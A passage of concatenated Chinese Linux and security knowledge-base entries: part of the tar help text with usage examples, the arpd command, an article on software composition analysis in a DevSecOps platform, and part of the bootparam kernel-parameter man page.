-V, --label=TEXT 创建带有卷名 TEXT
的归档;在列出/解压时,使用 TEXT
作为卷名的模式串
压缩选项:
-a, --auto-compress 使用归档后缀名来决定压缩程序
-I, --use-compress-program=PROG
通过 PROG 过滤(必须是能接受 -d
选项的程序)
-j, --bzip2 通过 bzip2 过滤归档
-J, --xz 通过 xz 过滤归档
--lzip 通过 lzip 过滤归档
--lzma 通过 lzma 过滤归档
--lzop
--no-auto-compress 不使用归档后缀名来决定压缩程序
-z, --gzip, --gunzip, --ungzip 通过 gzip 过滤归档
-Z, --compress, --uncompress 通过 compress 过滤归档
本地文件选择:
--add-file=FILE 添加指定的 FILE 至归档(如果名字以 -
开始会很有用的)
--backup[=CONTROL] 在删除前备份,选择 CONTROL 版本
-C, --directory=DIR 改变至目录 DIR
--exclude=PATTERN 排除以 PATTERN 指定的文件
--exclude-backups 排除备份和锁文件
--exclude-caches 除标识文件本身外,排除包含
CACHEDIR.TAG 的目录中的内容
--exclude-caches-all 排除包含 CACHEDIR.TAG 的目录
--exclude-caches-under 排除包含 CACHEDIR.TAG 的目录中所有内容
--exclude-tag=FILE 除 FILE 自身外,排除包含 FILE
的目录中的内容
--exclude-tag-all=FILE 排除包含 FILE 的目录
--exclude-tag-under=FILE 排除包含 FILE 的目录中的所有内容
--exclude-vcs 排除版本控制系统目录
-h, --dereference
跟踪符号链接;将它们所指向的文件归档并输出
--hard-dereference
跟踪硬链接;将它们所指向的文件归档并输出
-K, --starting-file=MEMBER-NAME
begin at member MEMBER-NAME when reading the
archive
--newer-mtime=DATE 当只有数据改变时比较数据和时间
--no-null 禁用上一次的效果 --null 选项
--no-recursion 避免目录中的自动降级
--no-unquote 不以 -T 读取的文件名作为引用结束
--null -T 读取以空终止的名字,-C 禁用
-N, --newer=DATE-OR-FILE, --after-date=DATE-OR-FILE
只保存比 DATE-OR-FILE 更新的文件
--one-file-system 创建归档时保存在本地文件系统中
-P, --absolute-names 不要从文件名中清除引导符‘/’
--recursion 目录递归(默认)
--suffix=STRING 在删除前备份,除非被环境变量
SIMPLE_BACKUP_SUFFIX
覆盖,否则覆盖常用后缀(‘’)
-T, --files-from=FILE 从 FILE
中获取文件名来解压或创建文件
--unquote 以 -T
读取的文件名作为引用结束(默认)
-X, --exclude-from=FILE 排除 FILE 中列出的模式串
文件名变换:
--strip-components=NUMBER 解压时从文件名中清除 NUMBER
个引导部分
--transform=EXPRESSION, --xform=EXPRESSION
使用 sed 代替 EXPRESSION
来进行文件名变换
文件名匹配选项(同时影响排除和包括模式串):
--anchored 模式串匹配文件名头部
--ignore-case 忽略大小写
--no-anchored 模式串匹配任意‘/’后字符(默认对
exclusion 有效)
--no-ignore-case 匹配大小写(默认)
--no-wildcards 逐字匹配字符串
--no-wildcards-match-slash 通配符不匹配‘/’
--wildcards use wildcards (default)
--wildcards-match-slash
通配符匹配‘/’(默认对排除操作有效)
提示性输出:
--checkpoint[=NUMBER] 每隔 NUMBER
个记录显示进度信息(默认为 10 个)
--checkpoint-action=ACTION 在每个检查点上执行 ACTION
--full-time print file time to its full resolution
--index-file=FILE 将详细输出发送至 FILE
-l, --check-links
只要不是所有链接都被输出就打印信息
--no-quote-chars=STRING 禁用来自 STRING 的字符引用
--quote-chars=STRING 来自 STRING 的额外的引用字符
--quoting-style=STYLE 设置名称引用风格;有效的 STYLE
值请参阅以下说明
-R, --block-number 每个信息都显示归档内的块数
--show-defaults 显示 tar 默认选项
--show-omitted-dirs
列表或解压时,列出每个不匹配查找标准的目录
--show-transformed-names, --show-stored-names
显示变换后的文件名或归档名
--totals[=SIGNAL] 处理归档后打印出总字节数;当此
SIGNAL 被触发时带参数 -
打印总字节数;允许的信号为:
SIGHUP,SIGQUIT,SIGINT,SIGUSR1 和
SIGUSR2;同时也接受不带 SIG
前缀的信号名称
--utc 以 UTC 格式打印文件修改时间
-v, --verbose 详细地列出处理的文件
--warning=KEYWORD 警告控制:
-w, --interactive, --confirmation
每次操作都要求确认
兼容性选项:
-o 创建归档时,相当于
--old-archive;展开归档时,相当于
--no-same-owner
其它选项:
-?, --help 显示此帮助列表
--restrict 禁用某些潜在的有危险的选项
--usage 显示简短的用法说明
--version 打印程序版本
长选项和相应短选项具有相同的强制参数或可选参数。
除非以 --suffix 或 SIMPLE_BACKUP_SUFFIX
设置备份后缀,否则备份后缀就是“~”。
可以用 --backup 或 VERSION_CONTROL 设置版本控制,可能的值为:
none, off 从不做备份
t, numbered 进行编号备份
nil, existing
如果编号备份存在则进行编号备份,否则进行简单备份
never, simple 总是使用简单备份
--quoting-style 选项的有效参数为:
literal
shell
shell-always
c
c-maybe
escape
locale
clocale
此 tar 默认为:
--format=gnu -f- -b20 --quoting-style=escape --rmt-command=/etc/rmt
--rsh-command=/usr/bin/ssh
```
### 参数
文件或目录:指定要打包的文件或目录列表。
### 实例
将 `/home/vivek/bin/` 目录打包,并使用 gzip 算法压缩。保存为 `/tmp/bin-backup.tar.gz` 文件。
```
tar -zcvf /tmp/bin-backup.tar.gz /home/vivek/bin/
```
```shell
- z:有gzip属性的
- j:有bz2属性的
- Z:有compress属性的
- v:显示所有过程
- O:将文件解开到标准输出
```
```shell
tar -cf archive.tar foo bar # 从文件 foo 和 bar 创建归档文件 archive.tar。
tar -tvf archive.tar # 详细列举归档文件 archive.tar 中的所有文件。
tar -xf archive.tar # 展开归档文件 archive.tar 中的所有文件。
```
下面的参数-f是必须的
-f: 使用档案名字,切记,这个参数是最后一个参数,后面只能接档案名。
```shell
tar -cf all.tar *.jpg
# 这条命令是将所有.jpg的文件打成一个名为all.tar的包。-c是表示产生新的包,-f指定包的文件名。
tar -rf all.tar *.gif
# 这条命令是将所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。
tar -uf all.tar logo.gif
# 这条命令是更新原来tar包all.tar中logo.gif文件,-u是表示更新文件的意思。
tar -tf all.tar
# 这条命令是列出all.tar包中所有文件,-t是列出文件的意思
```
```shell
tar -cvf archive.tar foo bar # 从文件foo和bar创建archive.tar。
tar -tvf archive.tar # 详细列出archive.tar中的所有文件。
tar -xf archive.tar # 从archive.tar提取所有文件。
```
#### zip格式
压缩: zip -r [目标文件名].zip [原文件/目录名]
解压: unzip [原文件名].zip
注:-r参数代表递归
#### tar格式(该格式仅仅打包,不压缩)
打包:tar -cvf [目标文件名].tar [原文件名/目录名]
解包:tar -xvf [原文件名].tar
注:c参数代表create(创建),x参数代表extract(解包),v参数代表verbose(详细信息),f参数代表filename(文件名),所以f后必须接文件名。
#### tar.gz格式
方式一:利用前面已经打包好的tar文件,直接用压缩命令。
压缩:gzip [原文件名].tar
解压:gunzip [原文件名].tar.gz
方式二:一次性打包并压缩、解压并解包
打包并压缩: tar -zcvf [目标文件名].tar.gz [原文件名/目录名]
解压并解包: tar -zxvf [原文件名].tar.gz
注:z代表用gzip算法来压缩/解压。
#### tar.bz2格式
方式一:利用已经打包好的tar文件,直接执行压缩命令:
压缩:bzip2 [原文件名].tar
解压:bunzip2 [原文件名].tar.bz2
方式二:一次性打包并压缩、解压并解包
打包并压缩: tar -jcvf [目标文件名].tar.bz2 [原文件名/目录名]
解压并解包: tar -jxvf [原文件名].tar.bz2
注:小写j代表用bzip2算法来压缩/解压。
#### tar.xz格式
方式一:利用已经打包好的tar文件,直接用压缩命令:
压缩:xz [原文件名].tar
解压:unxz [原文件名].tar.xz
方式二:一次性打包并压缩、解压并解包
打包并压缩: tar -Jcvf [目标文件名].tar.xz [原文件名/目录名]
解压并解包: tar -Jxvf [原文件名].tar.xz
注:大写J代表用xz算法来压缩/解压。
#### tar.Z格式(已过时)
方式一:利用已经打包好的tar文件,直接用压缩命令:
压缩:compress [原文件名].tar
解压:uncompress [原文件名].tar.Z
方式二:一次性打包并压缩、解压并解包
打包并压缩: tar -Zcvf [目标文件名].tar.Z [原文件名/目录名]
解压并解包: tar -Zxvf [原文件名].tar.Z
注:大写Z代表用ncompress算法来压缩/解压。另,ncompress是早期Unix系统的压缩格式,但由于ncompress的压缩率太低,现已过时。
#### jar格式
压缩:jar -cvf [目标文件名].jar [原文件名/目录名]
解压:jar -xvf [原文件名].jar
注:如果是打包的是Java类库,并且该类库中存在主类,那么需要写一个META-INF/MANIFEST.MF配置文件,内容如下:
```shell
Manifest-Version: 1.0
Created-By: 1.6.0_27 (Sun Microsystems Inc.)
Main-class: the_name_of_the_main_class_should_be_put_here
```
然后用如下命令打包:
jar -cvfm [目标文件名].jar META-INF/MANIFEST.MF [原文件名/目录名]
这样以后就能用“java -jar [文件名].jar”命令直接运行主类中的public static void main方法了。
#### 7z格式
压缩:7z a [目标文件名].7z [原文件名/目录名]
解压:7z x [原文件名].7z
注:这个7z解压命令支持rar格式,即:
7z x [原文件名].rar
#### 其它例子
**将文件全部打包成tar包** :
```shell
tar -cvf log.tar log2012.log 仅打包,不压缩!
tar -zcvf log.tar.gz log2012.log 打包后,以 gzip 压缩
tar -jcvf log.tar.bz2 log2012.log 打包后,以 bzip2 压缩
```
在选项`f`之后的文件档名是自己取的,我们习惯上都用 .tar 来作为辨识。 如果加`z`选项,则以.tar.gz或.tgz来代表gzip压缩过的tar包;如果加`j`选项,则以.tar.bz2来作为tar包名。
**解压目录**
参数--strip-components NUMBER,在提取时从文件名中删除NUMBER个前导组件,如要去除前二层,参数为--strip-components 2
```shell
tar -xvf portal-web-v2.0.0.tar --strip-components 1 -C 指定目录
```
示例
```shell
tar -xvf xxx.tar.gz -C /usr/src/a
/usr/src/a/xxxxx/src/opp/b.txt
```
```shell
tar -xvf xxx.tar.gz -strip-components=1 -C /usr/src/a
/usr/src/a/src/opp/b.txt
```
**查阅上述tar包内有哪些文件** :
```shell
tar -ztvf log.tar.gz
```
由于我们使用 gzip 压缩的log.tar.gz,所以要查阅log.tar.gz包内的文件时,就得要加上`z`这个选项了。
**将tar包解压缩** :
```shell
tar -zxvf /opt/soft/test/log.tar.gz
```
在预设的情况下,我们可以将压缩档在任何地方解开的
**只将tar内的部分文件解压出来** :
```shell
tar -zxvf /opt/soft/test/log30.tar.gz log2013.log
```
我可以透过`tar -ztvf`来查阅 tar 包内的文件名称,如果单只要一个文件,就可以透过这个方式来解压部分文件!
**文件备份下来,并且保存其权限** :
```shell
tar -zcvpf log31.tar.gz log2014.log log2015.log log2016.log
```
这个`-p`的属性是很重要的,尤其是当您要保留原本文件的属性时。
**在文件夹当中,比某个日期新的文件才备份** :
```shell
tar -N "2012/11/13" -zcvf log17.tar.gz test
```
**备份文件夹内容是排除部分文件:**
```shell
tar --exclude scf/service -zcvf scf.tar.gz scf/*
```
**打包文件之后删除源文件:**
```shell
tar -cvf test.tar test --remove-files
```
**其实最简单的使用 tar 就只要记忆底下的方式即可:**
```shell
压 缩:tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称
查 询:tar -jtv -f filename.tar.bz2
解压缩:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
```
|
sec-knowleage
|
arpd
===
收集免费ARP信息
## 补充说明
**arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。
### 语法
```shell
arpd(选项)(参数)
```
### 选项
```shell
-l:将arp数据库输出到标准输出设备显示并退出;
-f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似;
-b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”;
-a:指定目标被认为死掉前查询的次数;
-k:禁止通过内核发送广播查询;
-n:设定缓冲失效时间。
```
### 参数
网络接口:指定网络接口。
### 实例
启动arpd进程:
```shell
arpd -b /var/tmp/arpd.db
```
运行一段时间后,查看结果:
```shell
arpd -l -b /var/tmp/arpd.db
```
|
sec-knowleage
|
# SCA在得物DevSecOps平台上应用
> SCA(Software Composition Analysis)软件成分分析,通俗的理解就是通过分析软件包含的一些信息和特征来实现对该软件的识别、管理、追踪的技术。
## **一、前言**
现代开发项目中,应用程序中使用的大部分代码都是由开源代码构成的,其余的代码主要是作为"胶水"来组装和调用各种函数。据中国信息通信研究院统计的数据,2020年中国已经使用开源技术的企业占比为88.2%,比2018年增长6.8%;有计划使用的占9.5%;暂未计划使用开源技术的企业占比为2.1%可以看出,中国开源软件应用比例逐年提升。
开源让这些软件更安全吗?根据通信研究院数据显示,2020年热门开源项目中至少含有一个漏洞占84%,较2019年增长9个百分点;含有高危漏洞的占60%,较2019年增长11个百分点。
下面介绍两个例子
- 最显著的例子就是去年爆发的Log4j2漏洞,Log4j2 是一个开源的基于 Java 的日志记录工具。该日志框架被广泛的应用于各种常见的服务中(spring-boot-starter-log4j2、Apache Struts2、Apache Flink)。从Apache Log4j2 漏洞影响面查询的统计来看,影响多达44029个开源软件,涉及相关版本软件包更是达到了340657个。
- 2020年国内第一起一起关于 GPL 版权纠纷案裁判文书公示。一审判决书显示,GPL3.0 协议是一种民事法律行为,具有合同性质,可认定为授权人与用户间订立的著作权协议,属于我国《合同法》调整的范围。一审判定两侵权被告公司赔偿原告公司经济损失及维权合理费用共计 50 万元,并停止侵权行为。
目前开源软件所面临的除了以上介绍的**漏洞风险,还有开源许可证问题**,避免使用含有问题的组件。这将减少开发过程中的风险。
## **二、SCA**
### 2.1 简介
相信此时的你肯定会疑惑,既然开源软件这么多风险,该如何避免呢?接下来就是本篇文章的主角SCA技术了。SCA(Software Composition Analysis)软件成分分析,通俗的理解就是通过分析软件包含的一些信息和特征来实现对该软件的识别、管理、追踪的技术。SCA可以对任何开发语言对象进行分析,Java、Golang、Python、JavaScript等等,当然也可以对一些二进制、固件等识别。SCA的分析过程:首先对目标源代码或二进制文件解压,并从文件中提取特征(组件名、版本号),再对特征进行识别和分析,获得该服务使用的相关组件和版本,与已知漏洞库进行关联,找出存在的已知风险。
### **2.2 难点**
上述听起来SCA好像并不复杂,只需要提取关键信息作匹配即可,但是真正的落地过程中会发现遇到如下问题。这些问题导致要做一个成熟的易用的SCA工具并不是想象中那么简单,下图介绍了SCA项目中常见的一些难点。

## 三、落地
### 3.1 架构
如何自动化检测相关组件风险并且安全左移,让开发尽早感知到风险并禁止高危服务上线,是这边的目标。
其中检测架构如下图:

其中得物安全检测平台目前不仅仅做SCA检测、也在做SAST等检测,尽可能的安全左移,更早的发现问题。
### 3.2 实现
目前得物内部主要有Java、Go、Python、JavaScript等语言,目前对以上四种语言已经做到全部支持(包括Java打包后的Jar文件、Go静态语言编译后的二进制文件)。
| 语言 | 文件 | 是否支持 |
| ---------- | ------------------------------------------ | -------- |
| Java | pom.xml、jar | 支持 |
| Go | go.mod、go.sum、binaries built by go | 支持 |
| Python | requirements.txt、Pipfile、Pipfile.lock | 支持 |
| JavaScript | package.json、package-lock.json、yarn.lock | 支持 |
**目前主要采用项目构建及解析包管理文件两种方式**。
- 方式一:项目构建
以Java项目为例,通过与发布平台打通,获得项目编译后的Jar文件,**JAR 文件格式是以 ZIP 文件格式为基础,对Jar文件进行解压**,可在BOOT-INF/lib/目录下获取全部第三方依赖包信息。

- 方式二:包管理文件
解析相应语言的配置文件,以Go为例,通过解析go.mod和go.sum文件,获取相关依赖信息。

对项目依赖的安全分析在服务端进行,基于安全运营同学持续维护的漏洞库,可以快速识别到存在安全缺陷的依赖,当检测到相应依赖存在安全风险的时候,即发相应通知到项目Owner,督促去进行相应改进。
为了让开发者重视安全问题,该检测结果还会同步输出在Gitlab Merge Request处,当Reveiew代码时,将会直接看到安全检测相关结果。

### **3.3 漏洞库**
漏洞库的建设非一朝一夕能完成的,目前漏洞库的建设主要以开源为主,如NVD、GHSA、GLAD、Go VulnDB等,辅以内部人工收集到的一些漏洞信息。这里提一下,NVD官方的漏洞库虽然很全,但里面定义的cpe信息与组件信息不是完全一致,而且许多CVE数据无影响版本、修复版本等数据,这些信息需要结合其他漏洞情报综合判定。
好消息是今年夏天CVE 数据格式将会完成5.0格式的发布(目前CVE格式均为4.0),这次 CVE 发布添加了几个新数据字段,除了 CVE ID 号、受影响的产品、受影响的版本和公共参考的必需数据之外,将记录包括可选数据,例如严重性评分、研究人员的信用、其他语言、受影响的产品列表、附加参考、社区贡献能力等。这些可选数据将为下游用户和整个漏洞管理社区增强 CVE 记录。详情可参考: https://www.cve.org/Media/News/item/news/2022/01/11/Changes-Coming-to-CVE-Record
| 漏洞库 | 地址 |
| --------- | --------------------------------------------------- |
| NVD | https://nvd.nist.gov/ |
| GHSA | https://github.com/advisories/ |
| GLAD | https://gitlab.com/gitlab-org/advisories-community/ |
| Go VulnDB | https://github.com/golang/vulndb |
| Node | https://github.com/nodejs/security-wg |
## **四、思考**
目前SCA检测不仅仅用在安全检测方面,针对应急响应、资产排查等方面也有重要作用。例如常见的Log4j2、Fastjson应急响应。通过该平台可查询引用该组件的服务,快速获取服务负责人、发布时间、组件版本等信息,通知相应负责人升级处理。
目前得物安全内部主要用SCA工具管理开源组件安全,SAST用于检测源代码以发现安全漏洞,这两者已经完美结合起来用于解决软件开发前期常见的安全问题。但是在未来的规划当中,SCA会将尽可能的左移,在开发阶段之前就可以检测到相关安全风险,或者说确保用户在开发阶段引用的组件就是安全的。要确保这一点的话,需要搭建得物内部私服,确保私服上的包都经过安全检测。
总的来讲,SCA 其实并不是一项很先进的技术,OWASP 官方2012年就开源了类似的检测工具DependencyCheck。主要在现代的研发过程中大家越来越使用开源组件,意味着一旦引用的组件出现风险,自己的项目也处于危险之中,供应链安全的问题产生的影响也会越来越大。当然并不是说使用开源软件不好,毕竟可以大幅度提高开发效率,不能因为安全问题而因噎废食。安全的目标就是尽量减少打扰业务,但要保障业务开发的系统更安全、更可靠。
> reference:https://www.modb.pro/db/436541
|
sec-knowleage
|
.\" Copyright (c) 1995,1997 Paul Gortmaker and Andries Brouwer
.\" 中文版 Copyright (c) 2000 Bill Pan, Laser 和 www.linuxforum.net
.\"
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" The GNU General Public License's references to "object code"
.\" and "executables" are to be interpreted as the output of any
.\" document formatting or typesetting system, including
.\" intermediate and printed output.
.\"
.\" This manual is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, write to the Free
.\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111,
.\" USA.
.\"
.\" This man page written 950814 by aeb, based on Paul Gortmaker's HOWTO
.\" (dated v1.0.1, 15/08/95).
.\" Major update, aeb, 970114.
.TH BOOTPARAM 7 "14 January 1995" "Linux 2.1.21" "Linux Programmer's Manual"
.SH NAME
bootparam \- 介绍Linux核心的启动参数
.SH 描叙
Linux 核心在启动的时候可以接受指定的"命令行参数"或"启动参数".
在通常情况下,由于核心有可能无法识别某些硬件,
或可能将某些硬件识别为不正确的配置,因此,
这些参数可以被用来提供正确的硬件配置参数。
当Linux核心被BIOS直接启动的时候
(比如说你的核心是从使用了 "cp zImage /dev/fd0" 命令制造的 Linux 启动软盘来启动的),
你无法指定任何的启动参数。
因此,为了能够指定启动参数,你必须使用某些能够传递启动参数的软件,
例如 LILO 或 Loadlin。
为了使用很少的参数来改变的核心配置,
可以使用 rdev,查看
.BR rdev(8)
可以得到更多的细节。
由 Werner Almesberger 开发的 LILO 程序 (LInux LOader) 是最普遍的启动配置软件。
它能够启动各种不同的系统核心,
这些启动配置信息被放置在一个简单明了的文本文件中
(请看
.BR lilo(8)
和
.BR lilo.conf(5).)
LILO 可以启动象 DOS,OS/2,Linux,FreeBSD,UnixWare 这样的操作系统,
而且灵活性也非常强。
另外一个较为普遍的启动软件是"LoadLin"。这是一个基于 DOS 操作系统的软件。
该软件能够从DOS提示符下启动Linux核心(使用启动参数),
只要某些必需的资源可用就行。
这对于那些希望从 DOS 系统中启动 Linux 的人来说是很不错的方法。
如果你的硬件能够被 DOS 驱动程序启用的话,LoadLin也会是非常有用的。
一个最常见的例子是设置与 SoundBlaster 兼容的声卡。
这些声卡通过使用 DOS 驱动程序设定一些寄存器就可以将它们设置成为 SB 兼容模式的声卡。
在DOS下启动这些声卡的启动程序,然后使用LoadLin程序启动Linux,
这样就可以避免由于重新启动Linux系统而造成声卡被重新设置。
.SH "参数列表"
核心参数行被解析成为一个由空格分隔的字符串列表(即启动参数表)。
大部分的启动参数的格式就象下面这样
.IP
名字[=值1],[值2]……[,值10]
.LP
其中"名字"是一个唯一关键字,被用来区分接受值(如果有的话)那一部分核心。
要注意的是 10 个值的限制是确实存在的,
目前的程序代码只能对每个关键字处理 10 个逗号分隔的参数
(当然,在一些复杂的应用中,
你可以通过重新使用同样的关键字来传递多于10个的参数,
只要配置程序可以支持该方法)
大部分的排序工作是在 linux/init/main.c 中进行的。
首先,核心检查参数是否为 "root="、"nfsroot="、"nfsaddrs="、"ro"、"rw"、"debug"
和"init"这些特殊参数中的一种。这些参数的意义我们将在下面说明。
然后,核心会搜索"配置程序队列"(bootsetups队列)
来查看指定的参数字符串(比如"foo")是不是与某个配置指定设备
或是核心的配置程序建立了关联。
例如假设你传递给核心 foo=3,4,5,6,
那么核心会搜索 bootsetups 队列看看"foo"是否已经注册。
如果是,那么核心将运行与"foo"关联的配置程序(比如foo_setup())
并且将参数3,4,5,6交给核心命令列。
任何象 "foo=bar" 这样格式的参数不会被上面所说的那样,
作为一个配置程序的关联被接受,而是被解释成为一个环境变量的设置。
一个(无用的?)例子就是使用 "TERM=vt100" 作为核心的启动参数。
任何既不被核心接受又不被解释为环境变量的参数会被传送给第一个系统进程,
通常这会是init程序。最常用的传递给 init 进程的参数是 "single",
它告诉init使用单用户模式启动计算机,并且不要执行任何的守护进程。
查阅帮助,看看你所装版本的 init 程序可以支持的参数。
.SH "一般的、与设备无关的启动参数"
.SS "`init=...'"
这个启动参数提供核心执行时的初始化命令。如果它没有被设置,
或者没有被找到的话,核心会去尝试调用
.IR /etc/init ,
然后是
.IR /bin/init ,
然后是
.IR /sbin/init ,
最后是
.IR /bin/sh
,如果都失败了,就会提示一个异常信息。
.SS "`nfsaddrs=...'"
该启动参数设置 nfs(网络文件系统)启动地址为指定的字符串值。
该启动地址被用于网络启动中。
.SS "`nfsroot=...'"
该动参数设置 nfs(网络文件系统)根目录名为指定字符串。
如果该字符串不是以'/'、','或者一个数字开始的,则该字符串加上"/tftpboot/"的前缀。
.SS "`no387'"
(只有当CONFIG_BUGi386被定义后才有效)
某些 i387 协处理器在使用 32 位保护模式时会出现错误。
例如,一些早期的ULSI-387芯片在处理浮点运算时会出现死锁的情况。
使用"no387"启动参数可以让Linux忽略你的算术协处理器的存在。
当然,这时你就必须将你的核心编译成为支持数学仿真模式。
.SS "`no-hlt'"
(只有当CONFIG_BUGi386被定义后才有效)
某些早期的 i486DX-100 的处理器芯片在使用 "halt" 时会出现问题,
使用这个指令后它不会正常的返回到操作模式。
使用 "no-halt" 指令告诉 Linux 在没有事情可做的时候,
只是执行一个无限的循环指令,而不是让CPU进入"halt"模式。
这样就可以令人们使用这些有缺陷的芯片来运行 Linux。
.SS "`root=...'"
这个参数告诉核心在启动的时候使用哪个设备被作为根文件系统。
其缺省值是你在编译核心的时候就所确定的根设备。
如果你想要修改该值,比如说,将第二个软盘驱动器作为根设备,
你可以使用 "root=/dev/fd1" (根设备也可以用
.BR rdev(8));
来设置。
根设备能够以符号形式或数字形式来指定。一种符号指定形式是 /dev/XXYN,
其中 XX 代表设备类型( "hd" 代表普通 IDE 硬盘,紧跟其后的 Y 的范围是 "a" 到 "d";
"SD" 代表 SCSI 硬盘,紧跟其后的 Y 的范围是 "a" 到 "e";"ad" 代表 Atari ACSI磁盘,
紧跟其后的 Y 的范围是 "a" 到 "e";"ez" 代表 Syquest EZ135 兼容的使用并口的可移动硬盘,
紧跟其后的 Y 的值只能是"a";"xd" 代表 XT 兼容的磁盘,紧跟其后的 Y 的值是 "a"
或者是 "b";"fd" 代表软驱,而 Y 代表软驱的序号 - fd0 代表 DOS 的 "A:",
fd1代表DOS的 "B:"),Y 表示驱动器字母或序号。N 代表驱动器的分区号
(以十进制数值表示,当然,软驱是没有该信息的)。
目前的核心可以使用更多的驱动设备,
比如 nfs,ram,scd,mcd,cdu535,aztcd,cm206cd,gscd,sbpcd,sonycd,bpcd,
其中大部分都是 CD-ROM 设备。
(nfs 指示网络启动的位置;ram 表示一个 ram 虚拟磁盘(ram 表示可读写储存器)。
需要注意的是以上这些指定对你文件系统上的设备名称并没有做任何实质改变,
"/dev/" 部分的描述只是出于传统习惯。
你也可以通过使用数字形式的主/次设备号指定根设备,
但这是很笨拙和不方便的方法。
(例如,/dev/sda3 的主设备号是 8,次设备号是 3,
所以你也可以使用 "root=0x0803" 来指定根设备。)
.SS "`ro'和`rw'"
"ro" 选项告诉核心使用"只读"方式装配文件系统。
这样可以让"文件一致性检查"程序
(fsck程序,用来检查磁盘的工具,类似 DOS 的 scandisk 程序)
能够在一种所谓"静止"
(也就是说没有任何对文件系统的写操作)的文件系统中执行。
需要进行写操作的进程必须等到该文件系统使用
"读/写"方式重新装配以后才能进行,
例如,使用了"mount -w -n -o remount /"命令。
(请查看
.BR mount(8)。)
"rw" 选项告诉核心使用"可读写"方式装配文件系统。这是缺省值。
只读方式和可读写方式的选择可以使用
.BR rdev (8).
来设定。
.SS "`reserve=...'"
该参数用来设定保留区域,使得该区域的 I/O 端口不会被检测。该命令的格式是
.IP
.BI reserve= iobase,extent[,iobase,extent]...
.LP
在某些情况下你的机器也许必须避免设备驱动程序检测
(自动检测)某些指定区域的设备。
这些情况有可能是因为由于检测会导致硬件错误,或者硬件会被错误地识别,
又或者你只是不想核心对该硬件进行初始化。
reserve(保留)启动参数指定一个不要检测的 I/O 端口保留区。
设备驱动程序不会检测保留区域的 I/O 端口,
除非其他的启动参数明确的指定需要去检测。
例如,命令行
.IP
reserve=0x300,32 blah=0x300
.LP
表示设置保留 I/O 区域 0x300 到 0x31f(共32个端口)
不会被 `blah' 程序以外的驱动程序所检测。
.SS "`mem=...'"
PC 规范定义的返回内存数的 BIOS 调用最大可以返回 64MB 内存。
Linux 使用这个 BIOS 调用检测机器安装了多少内存。
如果你拥有超过 64MB 的内存,就可以使用这个参数告诉 Linux 你的内存数。
该值可以是 10 进制的或者是 16 进制的(加上 0x 的前缀),
后缀也可以加上 "k" (乘以 1024)或 "M" (乘以 1048576)。
下面是 Linux 初始人 Linus 对 "mem=" 参数使用的声明:
\&"核心能够接受任何你给予的 'mem=xx' 参数,
但是如果你欺骗它的话,它迟早会让你死的很难看。
参数用来指定最高位的 RAM 地址,所以 'mem=0x1000000' 表示你拥\&有 16MB 的内存。
而对于96MB内存的机器来说你应该设置为 'mem=0x6000000'。
注意注意注意:有些机器可能会将内存高端设置为 BIOS 所使用,
所以你可能将不能全部拥有 96MB 地址空间。
反之,有些芯片可以将包括 BIOS 的物理内存影射到内存高端去,
所以,你可以用的实际空间可能会是 96MB+384kB。
但是如果你告诉 Linux 核心你拥有的内存超出你的实际内存的话,将会发生很糟糕的事情。
也许躲得过初一,躲不过十五。"
.SS "`panic=N'"
在缺省情况下,核心并不会在异常后重新启动系统,
但是这个参数可以指定内核在发生异常后 N 秒后重新启动(如果 N>0)。
这个异常时限也可以使用 "echo N>/proc/sys/kernel/panic" 来设定。
.SS "`reboot=[warm|cold][,[bios|hard]]'"
(只有当 CONFIG_BUGi386 被定义的时候该参数才起作用)
从 2.0.22 版本后的核心开始,reboot 命令在缺省情况下使用冷启动。
你可以使用 "reboot=warm" 来进行老版本所的缺省的热启动方式。
(冷启动意味着对所有的硬件设备进行重新设置,
但是也有可能令在磁盘缓冲区中尚未写到磁盘上的数据被破坏。
热启动的优点是速度比较快。)
在缺省情况下,
要求键盘控制器向机器发出可以重新启动的低电位脉冲是很困难的,
但是至少有一种类型的主板不会这样工作。
选项 "reboot=bios" 将用 BIOS 的设置代替跳线。
.SS "`nosmp'" 和 "`maxcpus=N'"
(该参数只有当 __SMP__ 参数被定义的时候才有效)
命令行选项 "nosmp" 或 "maxcpus=0" 将会禁止激活 SMP(对称多处理)功能,
选项 "maxcpus=N" 限制在 SMP 方式下工作的 CPU 最大数目为 N.
.SH "核心开发者所使用的启动参数"
.SS "`debug'"
核心信息被传递给核心的日志守护进程 klogd 使得它们能够被记录在磁盘中。优先级高于
.I console_loglevel
的信息也可以在控制台上被显示出来。
(如果想了解信息优先级,可以去查看<linux/kernel.h>文件。)
在缺省情况下,所有比调试信息级别高的信息都会被写入日志文件。
但是这个启动参数的设置,可以使得核心将 DEBUG(调试信息)级别的信息写到日志里。
console loglevel 也能够在系统运行时通过使用 klogd 来设置。
请看
.BR klogd (8).
.SS "`profile=N'"
用来激活一个核心记录程序。
如果你需要了解核心在什么地方消耗其CPU周期,可以通过设置
.I prof_shift
为一个非零值来激活核心记录程序。
可以通过在编译内核的时候指定 CONFIG_PROFILE 值也可以通过 "profile=" 选项来指定
.I prof_shift
的值。
当
.I prof_shift
通过以上方式指定为 N,或通过 CONFIG_PROFILE_SHIT 的方式指定,
或者直接使用其缺省值 2 的时候,
这个值表示记录程序使用 prof_shift 个时间间隔进行记录:
每个时间间隔是一个时钟滴答。
当系统执行核心代码的时候,一个记数器的值会不断的增加。
.IP
profile[address >> prof_shift]++;
.LP
原始的配置文件可以从
.IR /proc/profile .
中读到。或者你也可以使用象 readprofile.c 之类的工具来阅读配置文件。任何写到
.I /proc/profile
中的操作将清除记数器。
.SS "`swap=N1,N2,N3,N4,N5,N6,N7,N8'"
设置控制核心的虚拟存储交换算法的 8 个参数。这8个参数是
max_page_age, page_advance, page_decline, page_initial_age,
